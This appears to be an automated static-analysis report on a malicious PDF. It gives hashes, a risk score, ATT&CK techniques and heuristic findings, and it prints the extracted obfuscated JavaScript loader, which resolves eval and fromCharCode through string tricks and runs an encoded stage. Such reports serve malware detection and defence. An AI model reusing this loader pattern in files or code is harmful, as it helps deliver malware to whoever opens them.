Malicious PDF — malware analysis report

Static analysis result for SHA-256 664cdc61b259549a…

MALICIOUS

PDF

45.1 KB Authoring application: substr First seen: 2012-06-14
MD5: 65a334abb56b032d6e0ab5f501ce5c68 SHA-1: 414383f4370d7d7629f6d4b8ba376196427da821 SHA-256: 664cdc61b259549a523c4a1080ac676be32da512824ecec40e02683d2ae7cc75
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains obfuscated JavaScript, identified by multiple heuristics as a loader. This script reconstructs and executes a second-stage payload from a character-code array, likely downloading further malicious content. The ML classifier strongly indicates maliciousness, and the presence of a loader points to a multi-stage attack, commonly delivered via spearphishing attachments.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1DF 446 bytes
SHA-256: fd320ee1d8df7cf780210a2101698d6f93c5bb26d323d48d2a575f60f11db4f8
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
liid=e('ti'.concat(v[4],t));
q=liid[v](a.length-6,a.length+2);
qhb=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=liid[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	rmkmy = 1*(q[i]);
	i++;
	rmkmy -= (-1)*(q[i]);
	s2 = s2.concat(qhb(rmkmy));
	i++;
}
e(s2);

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